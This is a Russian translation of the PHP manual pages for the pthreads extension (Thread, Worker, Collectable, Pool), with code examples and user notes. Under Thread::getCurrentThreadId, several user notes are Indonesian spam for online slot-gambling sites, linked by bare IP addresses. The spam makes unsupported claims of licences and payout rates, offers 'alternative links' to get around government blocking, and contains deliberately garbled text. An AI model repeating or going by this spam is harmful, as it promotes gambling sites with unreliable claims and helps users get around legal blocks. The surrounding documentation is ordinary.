Результат выполнения данного примера:

My создан потоком #123456778899

User Contributed Notes

There are no user contributed notes for this page.


Идентификация

  • « Thread::getCreatorId
  • Thread::getCurrentThreadId »
  • PHP Manual
  • Thread
  • Идентификация

Thread::getCurrentThread

(PECL pthreads >= 2.0.0)

Thread::getCurrentThread — Идентификация

Описание

public static Thread::getCurrentThread(): Thread

Возвращает ссылку на текущий выполняющийся поток.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект, представляющий текущий выполняющийся поток.

Примеры

Пример #1 Возвращает ссылку на текущий выполняющийся поток

<?php
class My extends Thread {
public function run() {
var_dump(Thread::getCurrentThread());
}
}
$my = new My();
$my->start();
?>

Результат выполнения данного примера:

object(My)#2 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


Идентификация

  • « Thread::getCurrentThread
  • Thread::getThreadId »
  • PHP Manual
  • Thread
  • Идентификация

Thread::getCurrentThreadId

(PECL pthreads >= 2.0.0)

Thread::getCurrentThreadId — Идентификация

Описание

public static Thread::getCurrentThreadId(): int

Возвращает идентификатор текущего выполняющегося потока.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Числовой идентификатор.

Примеры

Пример #1 Возвращает идентификатор текущего выполняющегося потока

<?php
class My extends Thread {
public function run() {
printf("%s является потоком #%lu\n", __CLASS__, Thread::getCurrentThreadId());
}
}
$my = new My();
$my->start();
?>

Результат выполнения данного примера:

My является потоком #123456778899

User Contributed Notes

PAS77 19-Apr-2022 07:28
https://13.214.248.65/

PAS77 merupakan sebuah perusahaan bandar judi slot online yang menyediakan permainan judi online terlengkap mudah menang dan gacor di Indonesia dengan lisensi resmi. Selain menyediakan permainan judi slot gacor yang mudah menang tentunya memiliki banyak sekali jenis game slot resmi yang bisa anda coba untuk meraih hadiah besar. Jelas PAS77 memiliki game slot gacor terbaik yang bisa diandalkan untuk meraih keuntungan besar dalam waktu yang cepat.

Game slot online gacor adalah permainan yang disukai dijaman sekarang ini, karena selain dengan mudah dimainkan juga memiliki tingkat volatilitas tinggi dengan RTP mencapai 98.54%. Jika anda ingin bermain game slot gacor terbaru kalian harus bermain pada situs judi slot online terpercaya dan terlengkap supaya mendapatkan banyak promo menarik ketika bermain. PAS77 termasuk salah satu dari sekian banyak agen judi slot online terpercaya yang memiliki sistem canggih yang bisa memberikan fitur menarik sehingga kalian bisa merasa aman dan nyaman dalam bermain slot online gacor hari ini dengan jackpot terbesar.

PAS77 sudah berdiri sejak lama dan sangat dikenal dengan bandar situs slot paling gacor gampang menang di Indonesia yang selalu menghadirkan permainan dengan berbagai jenis keuntungan besar. Hadiah yang akan anda dapatkan bisa mencapai ratusan juta rupiah. Salah satunya yaitu menjadi member setia di PAS77, tenang saja untuk pendaftaran juga mudah anda hanya perlu isi formulir pendaftaran yang sudah tersedia dan cukup klik tombol "Daftar" kemudian isi semua data lengkap yang diperlukan.
Pas77 19-Apr-2022 07:27
https://13.214.248.65/
PAS77 merupakan sebuah perusahaan bandar judi slot online yang menyediakan permainan judi online terlengkap mudah menang dan gacor di Indonesia dengan lisensi resmi. Selain menyediakan permainan judi slot gacor yang mudah menang tentunya memiliki banyak sekali jenis game slot resmi yang bisa anda coba untuk meraih hadiah besar. Jelas PAS77 memiliki game slot gacor terbaik yang bisa diandalkan untuk meraih keuntungan besar dalam waktu yang cepat.

Game slot online gacor adalah permainan yang disukai dijaman sekarang ini, karena selain dengan mudah dimainkan juga memiliki tingkat volatilitas tinggi dengan RTP mencapai 98.54%. Jika anda ingin bermain game slot gacor terbaru kalian harus bermain pada situs judi slot online terpercaya dan terlengkap supaya mendapatkan banyak promo menarik ketika bermain. PAS77 termasuk salah satu dari sekian banyak agen judi slot online terpercaya yang memiliki sistem canggih yang bisa memberikan fitur menarik sehingga kalian bisa merasa aman dan nyaman dalam bermain slot online gacor hari ini dengan jackpot terbesar.

PAS77 sudah berdiri sejak lama dan sangat dikenal dengan bandar situs slot paling gacor gampang menang di Indonesia yang selalu menghadirkan permainan dengan berbagai jenis keuntungan besar. Hadiah yang akan anda dapatkan bisa mencapai ratusan juta rupiah. Salah satunya yaitu menjadi member setia di PAS77, tenang saja untuk pendaftaran juga mudah anda hanya perlu isi formulir pendaftaran yang sudah tersedia dan cukup klik tombol "Daftar" kemudian isi semua data lengkap yang diperlukan.
selynaputri at burgas dot vip 12-Apr-2022 11:00
https://134.209.110.158/
SLOTTER88 merupakan sebuah perusahaan bandar judi slot online yang menyediakan permainan judi online terlengkap mudah menang dan gacor di Indonesia dengan lisensi resmi. Selain menyediakan permainan judi slot gacor yang mudah menang tentunya memiliki banyak sekali jenis game slot resmi yang bisa anda coba untuk meraih hadiah besar. Jelas SLOTTER88 memiliki game slot gacor terbaik yang bisa diandalkan untuk meraih keuntungan besar dalam waktu yang cepat.

Game slot online gacor adalah permainan yang disukai dijaman sekarang ini, karena selain dengan mudah dimainkan juga memiliki tingkat volatilitas tinggi dengan RTP mencapai 96.54%. Jika anda ingin bermain game slot gacor terbaru kalian harus bermain pada situs judi slot online terpercaya dan terlengkap supaya mendapatkan banyak promo menarik ketika bermain. SLOTTER88 termasuk salah satu dari sekian banyak agen judi slot online terpercaya yang memiliki sistem canggih yang bisa memberikan fitur menarik sehingga kalian bisa merasa aman dan nyaman dalam bermain slot online gacor hari ini dengan jackpot terbesar.

SLOTTER88 sudah berdiri sejak lama dan sangat dikenal dengan bandar situs slot paling gacor gampang menang di Indonesia yang selalu menghadirkan permainan dengan berbagai jenis keuntungan besar. Hadiah yang akan anda dapatkan bisa mencapai ratusan juta rupiah. Salah satunya yaitu menjadi member setia di SLOTTER88, tenang saja untuk pendaftaran juga mudah anda hanya perlu isi formulir pendaftaran yang sudah tersedia dan cukup klik tombol "Daftar" kemudian isi semua data lengkap yang diperlukan.
veronicalim779 at gmail dot com 04-Jul-2021 11:21
Layanan Custoasdasmer Service 2das4 Jam
DinastiPk sebagai situs  online terpercaya tentu menyediakan laasdyanan customear service basa setiap pemain yang mungkasdin mengalasdamadi ksdesulitan pada saat ingidsaosit. Customer serviass kami tersedia 24jam nonstop untuaasdk setiap harinya , Pelayanan yadasdng di jamin akan membantu ssdetiap member yang akan mengajdukan pertanyaan.
asd

Memiliki Banyak Link Alternatif
Indonesia adalah negara yang melarang adanya perjudian secara langsung maupun online. Langkah pemerintah dalam memberantas kegiatan teraman dan terpercaya & yaitu dengan cara memblokir situs-situs yang menyediakan layanan bermain games online maupun lainnya. Oleh karena itu, seringkali beberapa pemain mengalami kesulitan untuk mengakses situs.

Kesulitan akses dan bermain tidak ada di dinastipk karena telah disediakan banyak sekali link alternatif yang bisa diakses kapanpun. Apabila salah satu situs tidak dapat diakses dikarenakan terjadi pemblokiran, maka kamu bisa menggunakan link alternatif resmi lainnya yang sudah disediakan. Anda bisa mendapatkan link alternatif melalui pencarian di internet atau meminta staff yang bertugas melalui livechat yang tersedia selama 24/7.

https://206.189.86.37
nzotharr at gmail dot com 19-Jun-2021 10:40
https://159.65.13.169/

Layanan Custoasdasmer Service 2das4 Jam
BOSSWIN168 sebagai situs judi slot online terpercaya tentu menyediakan laasdyanan customear service basa setiap pemain yang mungkasdin mengalasdamadi ksdesulitan pada saat ingidsaosit. Customer serviass kami tersedia 24jam nonstop untuaasdk setiap harinya , Pelayanan yadasdng di jamin akan membantu ssdetiap member yang akan mengajdukan pertanyaan.
asd
Memiliki Banyak Link Alternatif
Indonesia adalah negara yang melarang adanya perjudian secara langsung maupun online. Langkah pemerintah dalam memberantas kegiatan teraman dan terpercaya & yaitu dengan cara memblokir situs-situs yang menyediakan layanan bermain slot online maupun lainnya. Oleh karena itu, seringkali beberapa pemain mengalami kesulitan untuk mengakses situs.

Kesulitan akses dan bermain tidak ada di Bosswin168 karena telah disediakan banyak sekali link alternatif yang bisa diakses kapanpun. Apabila salah satu situs tidak dapat diakses dikarenakan terjadi pemblokiran, maka kamu bisa menggunakan link alternatif resmi lainnya yang sudah disediakan. Anda bisa mendapatkan link alternatif BOSSWIN168 melalui pencarian di internet atau meminta staff yang bertugas melalui livechat yang tersedia selama 24/7.
nzotharr at gmail dot com 19-Jun-2021 10:40
https://159.65.13.169/

Layanan Custoasdasmer Service 2das4 Jam
BOSSWIN168 sebagai situs judi slot online terpercaya tentu menyediakan laasdyanan customear service basa setiap pemain yang mungkasdin mengalasdamadi ksdesulitan pada saat ingidsaosit. Customer serviass kami tersedia 24jam nonstop untuaasdk setiap harinya , Pelayanan yadasdng di jamin akan membantu ssdetiap member yang akan mengajdukan pertanyaan.
asd
Memiliki Banyak Link Alternatif
Indonesia adalah negara yang melarang adanya perjudian secara langsung maupun online. Langkah pemerintah dalam memberantas kegiatan teraman dan terpercaya & yaitu dengan cara memblokir situs-situs yang menyediakan layanan bermain slot online maupun lainnya. Oleh karena itu, seringkali beberapa pemain mengalami kesulitan untuk mengakses situs.

Kesulitan akses dan bermain tidak ada di Bosswin168 karena telah disediakan banyak sekali link alternatif yang bisa diakses kapanpun. Apabila salah satu situs tidak dapat diakses dikarenakan terjadi pemblokiran, maka kamu bisa menggunakan link alternatif resmi lainnya yang sudah disediakan. Anda bisa mendapatkan link alternatif BOSSWIN168 melalui pencarian di internet atau meminta staff yang bertugas melalui livechat yang tersedia selama 24/7.


Идентификация

  • « Thread::getCurrentThreadId
  • Thread::isJoined »
  • PHP Manual
  • Thread
  • Идентификация

Thread::getThreadId

(PECL pthreads >= 2.0.0)

Thread::getThreadId — Идентификация

Описание

public Thread::getThreadId(): int

Возвращает идентификатор указанного потока

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Числовой идентификатор.

Примеры

Пример #1 Возвращает идентификатор указанного потока

<?php
class My extends Thread {
public function run() {
printf("%s является потоком #%lu\n", __CLASS__, $this->getThreadId());
}
}
$my = new My();
$my->start();
?>

Результат выполнения данного примера:

My является потоком #123456778899

User Contributed Notes

derkontrollfreak+php at gmail dot com 12-Jul-2015 11:00
Thread::getThreadId() returns 0 if the thread has not been started.


Определение состояния

  • « Thread::getThreadId
  • Thread::isStarted »
  • PHP Manual
  • Thread
  • Определение состояния

Thread::isJoined

(PECL pthreads >= 2.0.0)

Thread::isJoined — Определение состояния

Описание

public Thread::isJoined(): bool

Сообщает, был ли присоединён указанный поток.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Сообщает, был ли присоединён указанный поток

<?php
class My extends Thread {
public function run() {
$this->synchronized(function($thread){
if (!$thread->done)
$thread->wait();
}, $this);
}
}
$my = new My();
$my->start();
var_dump($my->isJoined());
$my->synchronized(function($thread){
$thread->done = true;
$thread->notify();
}, $my);
?>

Результат выполнения данного примера:

bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Определение состояния

  • « Thread::isJoined
  • Thread::join »
  • PHP Manual
  • Thread
  • Определение состояния

Thread::isStarted

(PECL pthreads >= 2.0.0)

Thread::isStarted — Определение состояния

Описание

public Thread::isStarted(): bool

Сообщает, был ли запущен указанный поток.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Сообщает, был ли запущен указанный поток

<?php
$worker = new Worker();
$worker->start();
var_dump($worker->isStarted());
?>

Результат выполнения данного примера:

bool(true)

User Contributed Notes

ricardo dot boss at web dot de 30-Jul-2016 11:20
Even if you kill() a thread, the isStarted() method will still return true.


Синхронизация

  • « Thread::isStarted
  • Thread::start »
  • PHP Manual
  • Thread
  • Синхронизация

Thread::join

(PECL pthreads >= 2.0.0)

Thread::join — Синхронизация

Описание

public Thread::join(): bool

Заставляет вызывающий контекст ждать, пока указанный поток завершит выполнение.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Присоединение к указанному процессу

<?php
class My extends Thread {
public function run() {
/* ... */
}
}
$my = new My();
$my->start();
/* ... */
var_dump($my->join());
/* ... */
?>

Результат выполнения данного примера:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Выполнение

  • « Thread::join
  • Worker »
  • PHP Manual
  • Thread
  • Выполнение

Thread::start

(PECL pthreads >= 2.0.0)

Thread::start — Выполнение

Описание

public Thread::start(int $options = ?): bool

Запускает новый поток для выполнения реализованного метода запуска.

Список параметров

options

Необязательная маска констант наследования, по умолчанию PTHREADS_INHERIT_ALL.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Запуск потока

<?php
class My extends Thread {
public function run() {
/** ... **/
}
}
$my = new My();
var_dump($my->start());
?>

Результат выполнения данного примера:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Класс Worker

(PECL pthreads >= 2.0.0)

Введение

Рабочие потоки имеют постоянный контекст, поэтому в большинстве случаев их следует использовать поверх потоков.

Когда Worker запущен, будет выполнен метод run, но Thread не завершится, пока не будет выполнено одно из следующих условий:

  • Worker исчезнет из области видимости (не останется ни одной ссылки на него)

  • программист вызовет функцию остановки

  • скрипт завершит работу

Это значит, что программист может переиспользовать контекст во время исполнения. Размещение объекта на стек объекта Worker приведёт к запуску метода run этого объекта.

Обзор классов

class Worker extends Thread implements Traversable, Countable, ArrayAccess {
/* Методы */
public collect(Callable $collector = ?): int
public getStacked(): int
public isShutdown(): bool
public shutdown(): bool
public stack(Threaded &$work): int
public unstack(): int
/* Наследуемые методы */
public Thread::getCreatorId(): int
public static Thread::getCurrentThread(): Thread
public static Thread::getCurrentThreadId(): int
public Thread::getThreadId(): int
public Thread::isJoined(): bool
public Thread::isStarted(): bool
public Thread::join(): bool
public Thread::start(int $options = ?): bool
}

Содержание

  • Worker::collect — Собрать ссылки на завершённые задачи
  • Worker::getStacked — Возвращает текущий размер стека
  • Worker::isShutdown — Определение состояния
  • Worker::shutdown — Остановить Worker
  • Worker::stack — Положить задачу на стек
  • Worker::unstack — Убрать задачу со стека

User Contributed Notes

event2game at gmail dot com 31-Oct-2013 03:22
There's one way to shared datas between Workers, that is using Stackable:
<?php
class data extends Stackable{
    //private $name;
    public function __construct($_name) {
        //$this->name = $_name;//if you set any variable, workers will get the variable, so do not set any variable
        echo __FILE__.'-'.__LINE__.'<br/>'.chr(10);
    }
    public function run(){
        echo __FILE__.'-'.__LINE__.'<br/>'.chr(10);
    }
}
class readWorker extends Worker {
    public function __construct(&$_data) {
        $this->data = $_data;//
    }
    public function run(){
        while(1){
            if($arr=$this->data->shift())//receiving datas
            {
                echo 'Received data:'.print_r($arr,1).chr(10);
            }else usleep(50000);
        }
    }
}
class writeWorker extends Worker {
    public function __construct(&$_data) {
        $this->data = $_data;//
    }
    public function run(){
        while(1){
            $this->data[] = array(time(),rand());//writting datas
            usleep(rand(50000, 1000000));
        }
    }

}
$data = new data('');
$reader = new readWorker($data);
$writer = new writeWorker($data);
$reader->start();
$writer->start();
?>
Also you can use $readWorker[] = $some_data; then use $this->shift() in readWorker to share datas with readWorker, but if you do so you can't have variables in readWorker as all variales will be shift by shift();


Собрать ссылки на завершённые задачи

  • « Worker
  • Worker::getStacked »
  • PHP Manual
  • Worker
  • Собрать ссылки на завершённые задачи

Worker::collect

(PECL pthreads >= 3.0.0)

Worker::collect — Собрать ссылки на завершённые задачи

Описание

public Worker::collect(Callable $collector = ?): int

Позволяет Worker собрать "мусорные" ссылки на задачи. Опционально можно задать пользовательский сборщик.

Список параметров

collector

Сборщик типа Callable, который должен возвращать true или false в зависимости от того, можно ли собрать задачу. Случаи, когда вам может понадобиться собственный сборщик, крайне редки.

Возвращаемые значения

Количество оставшихся задач в стеке Worker, которые будут собраны.

Примеры

Пример #1 Пример использования Worker::collect()

<?php
$worker = new Worker();

echo "Сейчас на стеке {$worker->collect()} задач, которые нужно собрать\n";

for ($i = 0; $i < 15; ++$i) {
$worker->stack(new class extends Threaded {});
}

echo "На стеке {$worker->collect()} задач, которые нужно собрать\n";

$worker->start();

while ($worker->collect()); // ждём, пока все задачи не завершат исполнение

echo "Теперь на стеке {$worker->collect()} задач, ждущих, когда их соберут\n";

$worker->shutdown();

Результат выполнения данного примера:

Сейчас на стеке 0 задач, которые нужно собрать
На стеке 15 задач, которые нужно собрать
Теперь на стеке 0 задач, ждущих, когда их соберут

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущий размер стека

  • « Worker::collect
  • Worker::isShutdown »
  • PHP Manual
  • Worker
  • Возвращает текущий размер стека

Worker::getStacked

(PECL pthreads >= 2.0.0)

Worker::getStacked — Возвращает текущий размер стека

Описание

public Worker::getStacked(): int

Возвращает количество задач, оставшихся в стеке.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество задач, оставшихся в стеке и ожидающих запуска.

Примеры

Пример #1 Пример использования Worker::getStacked

<?php
$worker = new Worker();

for ($i = 0; $i < 5; ++$i) {
$worker->stack(new class extends Threaded {});
}

echo "There are {$worker->getStacked()} stacked tasks\n";

Результат выполнения данного примера:

There are 5 stacked tasks

User Contributed Notes

There are no user contributed notes for this page.


Определение состояния

  • « Worker::getStacked
  • Worker::shutdown »
  • PHP Manual
  • Worker
  • Определение состояния

Worker::isShutdown

(PECL pthreads >= 2.0.0)

Worker::isShutdown — Определение состояния

Описание

public Worker::isShutdown(): bool

Определяет, остановлен Worker или нет.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true если остановлен и false, если нет.

Примеры

Пример #1 Определение состояния

<?php
$worker = new Worker();
$worker->start();

var_dump($worker->isShutdown());

$worker->shutdown();

var_dump($worker->isShutdown());

Результат выполнения данного примера:

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Остановить Worker

  • « Worker::isShutdown
  • Worker::stack »
  • PHP Manual
  • Worker
  • Остановить Worker

Worker::shutdown

(PECL pthreads >= 2.0.0)

Worker::shutdown — Остановить Worker

Описание

public Worker::shutdown(): bool

Остановить Worker после запуска всех задач со стека.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Остановка Worker

<?php
$my = new Worker();
$my->start();
/* stack/execute tasks */
var_dump($my->shutdown());

Результат выполнения данного примера:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Положить задачу на стек

  • « Worker::shutdown
  • Worker::unstack »
  • PHP Manual
  • Worker
  • Положить задачу на стек

Worker::stack

(PECL pthreads >= 2.0.0)

Worker::stack — Положить задачу на стек

Описание

public Worker::stack(Threaded &$work): int

Добавляет задачу на стек заданному Worker.

Список параметров

work

Объект типа Threaded, который будет запущен Worker.

Возвращаемые значения

Новый размер стека.

Примеры

Пример #1 Помещение задачи на стек Worker для её запуска

<?php
$worker = new Worker();
$work = new class extends Threaded {};

var_dump($worker->stack($work));

Результат выполнения данного примера:

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Убрать задачу со стека

  • « Worker::stack
  • Collectable »
  • PHP Manual
  • Worker
  • Убрать задачу со стека

Worker::unstack

(PECL pthreads >= 2.0.0)

Worker::unstack — Убрать задачу со стека

Описание

public Worker::unstack(): int

Убирает первую задачу (самую старую) из стека.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Новый размер стека.

Список изменений

Версия | Описание
v3 | Убран параметр, в котором указывалась задача для удаления. Теперь всегда удаляется первая задача.

Примеры

Пример #1 Удаление объектов из стека Worker

<?php
$my = new Worker();
$work = new class extends Threaded {};

var_dump($my->stack($work));
var_dump($my->unstack());

Результат выполнения данного примера:

int(1)
int(0)

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс Collectable

(PECL pthreads >= 2.0.8)

Введение

Представляет объект, который можно собрать сборщиком мусора.

Обзор интерфейсов

interface Collectable {
/* Методы */
public isGarbage(): true
}

Содержание

  • Collectable::isGarbage — Определяет, помечен ли объект как мусор

User Contributed Notes

There are no user contributed notes for this page.


Определяет, помечен ли объект как мусор

  • « Collectable
  • Pool »
  • PHP Manual
  • Collectable
  • Определяет, помечен ли объект как мусор

Collectable::isGarbage

(PECL pthreads >= 2.0.8)

Collectable::isGarbage — Определяет, помечен ли объект как мусор

Описание

public Collectable::isGarbage(): true

Можно вызывать в Pool::collect() для определения, является ли объект мусором.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Смотрите также

  • Pool::collect() - Собирает ссылки на выполненные задания

User Contributed Notes

There are no user contributed notes for this page.


Класс Pool

(PECL pthreads >= 2.0.0)

Введение

Объект Pool является контейнером для хранения объектов Worker, управления ими и регулирования их количества.

Контейнеризация представляет собой высший уровень абстракции над функционалом Worker включая управление ссылками в корректном для pthreads виде.

Обзор классов

class Pool {
/* Свойства */
protected $size;
protected $class;
protected $workers;
protected $ctor;
protected $last;
/* Методы */
public __construct(int $size, string $class = ?, array $ctor = ?)
public collect(Callable $collector = ?): int
public resize(int $size): void
public shutdown(): void
public submit(Threaded $task): int
public submitTo(int $worker, Threaded $task): int
}

Свойства

size

максимальное количество объектов Worker

class

класс Worker

workers

ссылки на объекты Worker

ctor

аргументы конструктора новых объектов Worker

last

смещение последнего использованного Worker в workers

Содержание

  • Pool::collect — Собирает ссылки на выполненные задания
  • Pool::__construct — Создаёт новый пул воркеров
  • Pool::resize — Изменяет размер пула
  • Pool::shutdown — Выключает все воркеры
  • Pool::submit — Отправляет объект на исполнение
  • Pool::submitTo — Отправляет задачу конкретному воркеру для выполнения

User Contributed Notes

meadowsjared at gmail dot com 29-Dec-2020 05:43
In this example, it shows how to use a pool to get an array of results, using pThreads v3.2.1 and php 7.3.23

<?php
class TestWork extends Threaded {
//updated version that works with pThreads v3.2.1 and php 7.3.23
    protected $complete;
    //$pData is the data sent to your worker thread to do it's job.
    public function __construct($pData) {
        //transfer all the variables to local variables
        $this->complete = false;
        $this->testData = $pData;
    }
    //This is where all of your work will be done.
    public function run() {
        usleep(2000000); //sleep 2 seconds to simulate a large job
        $this->complete = true;
    }
    public function isDone() {
        return $this->complete;
    }
}
class ExamplePool extends Pool {
    public $data = array(); // used to return data after we're done
    private $numTasks = 0; // counter used to know when we're done
    /**
     * override the submit function from the parent
     * to keep track of our jobs
     */
    public function submit(Threaded $task) {
        $this->numTasks++;
        parent::submit($task);
    }
    /**
     * used to wait until all workers are done
     */
    public function process() {
        // Run this loop as long as we have
        // jobs in the pool
        while (count($this->data) < $this->numTasks) {
            $this->collect(function (TestWork $task) {
                // If a task was marked as done, collect its results
                if ($task->isDone()) {
                    $tmpObj = new stdclass();
                    $tmpObj->complete = $task->complete;
                    //this is how you get your completed data back out [accessed by $pool->process()]
                    $this->data[] = $tmpObj;
                }
                return $task->isDone();
            });
        }
        // All jobs are done
        // we can shutdown the pool
        $this->shutdown();
        return $this->data;
    }
}
$pool = new ExamplePool(3);
$testData = 'asdf';
for($i=0;$i<5;$i++) {
    $pool->submit(new TestWork($testData));
}
$retArr = $pool->process(); //get all of the results
echo '<pre>';
print_r($retArr); //return the array of results (and maybe errors)
echo '</pre>';
?>
meadowsjared at gmail dot com 14-Mar-2016 07:16
Please note, when using the collect function, it's important that you extend the pool class so you can keep checking for finished threads until they're all done.

<?php
class TestWork extends Threaded {
    protected $complete;
    //$pData is the data sent to your worker thread to do it's job.
    public function __construct($pData){
        //transfer all the variables to local variables
        $this->complete = false;
        $this->testData = $pData;
    }
    //This is where all of your work will be done.
    public function run(){
        usleep(2000000); //sleep 2 seconds to simulate a large job
        $this->complete = true;
    }
    public function isGarbage() {
        return $this->complete;
    }
}
class ExamplePool extends Pool
{
    public $data = array();
    public function process()
    {
        // Run this loop as long as we have
        // jobs in the pool
        while (count($this->work)) {
            $this->collect(function (TestWork $task) {
                // If a task was marked as done
                // collect its results
                if ($task->isGarbage()) {
                    $tmpObj = new stdclass();
                    $tmpObj->complete = $task->complete;
                    //this is how you get your completed data back out [accessed by $pool->process()]
                    $this->data[] = $tmpObj;
                }
                return $task->isGarbage();
            });
        }
        // All jobs are done
        // we can shutdown the pool
        $this->shutdown();
        return $this->data;
    }
}
$pool = new ExamplePool(3);
$testData = 'asdf';
for($i=0;$i<5;$i++) {
    $pool->submit(new TestWork($testData));
}
$retArr = $pool->process(); //get all of the results
echo '<pre>';
print_r($retArr); //return the array of results (and maybe errors)
echo '</pre>';
?>
olavk 30-Mar-2015 01:48
Simple example with Collectable (basically Thread meant for Pool) and Pool

<?php

class job extends Collectable {
  public $val;

  public function __construct($val){
    // init some properties
    $this->val = $val;
  }
  public function run(){
    // do some work
    $this->val = $this->val . file_get_contents('http://www.example.com/', null, null, 3, 20);
    $this->setGarbage();
  }
}

// At most 3 threads will work at once
$p = new Pool(3);

$tasks = array(
  new job('0'),
  new job('1'),
  new job('2'),
  new job('3'),
  new job('4'),
  new job('5'),
  new job('6'),
  new job('7'),
  new job('8'),
  new job('9'),
  new job('10'),
);
// Add tasks to pool queue
foreach ($tasks as $task) {
  $p->submit($task);
}

// shutdown will wait for current queue to be completed
$p->shutdown();
// garbage collection check / read results
$p->collect(function($checkingTask){
  echo $checkingTask->val;
  return $checkingTask->isGarbage();
});

?>
fajan 28-May-2014 01:18
Example class to demonstrate usage of Pool/Worker mechanism, also to show a few tricks & hints ;)
<?php
class Config extends Threaded{    // shared global object
    protected $val=0, $val2=0;
    protected function inc(){++$this->val;}    // protected synchronizes by-object
    public function inc2(){++$this->val2;}    // no synchronization
}
class WorkerClass extends Worker{
    protected static $worker_id_next = -1;
    protected $worker_id;
    protected $config;
    public function __construct($config){
        $this->worker_id = ++static::$worker_id_next;    // static members are not avalable in thread but are in 'main thread'
        $this->config = $config;
    }
    public function run(){
        global $config;
        $config = $this->config;    // NOTE: setting by reference WON'T work
        global $worker_id;
        $worker_id = $this->worker_id;
        echo "working context {$worker_id} is created!\n";
        //$this->say_config();    // globally synchronized function.
    }
    protected function say_config(){    // 'protected' is synchronized by-object so WON'T work between multiple instances
        global $config;        // you can use the shared $config object as synchronization source.
        $config->synchronized(function() use (&$config){    // NOTE: you can use Closures here, but if you attach a Closure to a Threaded object it will be destroyed as can't be serialized
            var_dump($config);
        });
    }
}
class Task extends Stackable{    // Stackable still exists, it's just somehow dissappeared from docs (probably by mistake). See older version's docs for more details.
    protected $set;
    public function __construct($set){
        $this->set = $set;
    }
    public function run(){
        global $worker_id;
        echo "task is running in {$worker_id}!\n";
        usleep(mt_rand(1,100)*100);
        $config = $this->getConfig();
        $val = $config->arr->shift();
        $config->arr[] = $this->set;
        for ($i = 0 ; $i < 1000; ++$i){
            $config->inc();
            $config->inc2();
        }
    }
    public function getConfig(){
        global $config;    // WorkerClass set this on thread's scope, can be reused by Tasks for additional asynch data source. (ie: connection pool or taskqueue to demultiplexer)
        return $config;
    }
}

$config = new Config;
$config->arr = new \Threaded();
$config->arr->merge(array(1,2,3,4,5,6));
class PoolClass extends Pool{
    public function worker_list(){
        if ($this->workers !== null)
            return array_keys($this->workers);
        return null;
    }
}
$pool = new PoolClass(3, 'WorkerClass', [$config] );
$pool->worker_list();
//$pool->submitTo(0,new Task(-10));    // submitTo DOES NOT try to create worker

$spammed_id = -1;
for ($i = 1; $i <= 100; ++$i){    // add some jobs
    if ($spammed_id == -1 && ($x = $pool->worker_list())!= null && @$x[2]){
        $spammed_id = $x[2];
        echo "spamming worker {$spammed_id} with lots of tasks from now on\n";
    }
    if ($spammed_id != -1 && ($i % 5) == 0)    // every 5th job is routed to one worker, so it has 20% of the total jobs (with 3 workers it should do ~33%, not it has (33+20)%, so only delegate to worker if you plan to do balancing as well... )
        $pool->submitTo($spammed_id,new Task(10*$i));
    else
        $pool->submit(new Task(10*$i));
}
$pool->shutdown();
var_dump($config); // "val" is exactly 100000, "val2" is probably a bit less
// also: if you disable the spammer, you'll that the order of the "arr" is random.
?>


Собирает ссылки на выполненные задания

  • « Pool
  • Pool::__construct »
  • PHP Manual
  • Pool
  • Собирает ссылки на выполненные задания

Pool::collect

(PECL pthreads >= 2.0.0)

Pool::collect — Собирает ссылки на выполненные задания

Описание

public Pool::collect(Callable $collector = ?): int

Позволяет пулу собирать ссылки, определённые как мусор дополнительным сборщиком.

Список параметров

collector

Callback-функция сборщика, которая возвращает логическое значение, указывающее, может ли задача быть собрана или нет. Только в редких случаях может потребоваться специальный сборщик.

Возвращаемые значения

Количество оставшихся задач в пуле, которые нужно собрать.

Список изменений

Версия | Описание
v3 | Теперь возвращается целое число, а параметр collector теперь необязателен.

Примеры

Пример #1 Простой пример использования Pool::collect()

<?php
$pool = new Pool(4);

for ($i = 0; $i < 15; ++$i) {
$pool->submit(new class extends Threaded {});
}

while ($pool->collect()); // до тех пор, пока все задачи не закончат выполнение

$pool->shutdown();

User Contributed Notes

meadowsjared at gmail dot com 29-Dec-2020 06:00
In this example, it shows how to use a Threaded with a pool to get an array of results, using pThreads v3.2.1 and php 7.3.23

<?php
class TestWork extends Threaded {
//updated version that works with pThreads v3.2.1 and php 7.3.23
    protected $complete;
    //$pData is the data sent to your worker thread to do it's job.
    public function __construct($pData) {
        //transfer all the variables to local variables
        $this->complete = false;
        $this->testData = $pData;
    }
    //This is where all of your work will be done.
    public function run() {
        usleep(2000000); //sleep 2 seconds to simulate a large job
        $this->complete = true;
    }
    public function isDone() {
        return $this->complete;
    }
}
class ExamplePool extends Pool {
    public $data = array(); // used to return data after we're done
    private $numTasks = 0; // counter used to know when we're done
    /**
     * override the submit function from the parent
     * to keep track of our jobs
     */
    public function submit(Threaded $task) {
        $this->numTasks++;
        parent::submit($task);
    }
    /**
     * used to wait until all workers are done
     */
    public function process() {
        // Run this loop as long as we have
        // jobs in the pool
        while (count($this->data) < $this->numTasks) {
            $this->collect(function (TestWork $task) {
                // If a task was marked as done, collect its results
                if ($task->isDone()) {
                    $tmpObj = new stdclass();
